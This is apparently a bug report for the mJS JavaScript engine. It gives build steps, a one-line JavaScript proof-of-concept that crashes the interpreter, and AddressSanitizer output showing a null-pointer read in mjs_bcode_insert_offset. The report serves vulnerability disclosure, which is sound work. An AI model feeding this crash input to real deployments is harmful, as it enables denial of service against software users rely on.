SEGV src/mjs_bcode.c:67 in mjs_bcode_insert_offset

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

(JSON.stringify([1, 2, 3]))((load - 6.34 * 21e2)([([JSON.parse(JSON.stringify([(0)]))])]));

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==88306==ERROR: AddressSanitizer: SEGV on unknown address 0x00000000008c (pc 0x558644d0edbc bp 0x000000000084 sp 0x7fffa37031f8 T0)
==88306==The signal is caused by a READ memory access.
==88306==Hint: address points to the zero page.
    #0 0x558644d0edbb in mjs_bcode_insert_offset src/mjs_bcode.c:67
    #1 0x7fffa3703a0f  (<unknown module>)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_bcode.c:67 in mjs_bcode_insert_offset
==88306==ABORTING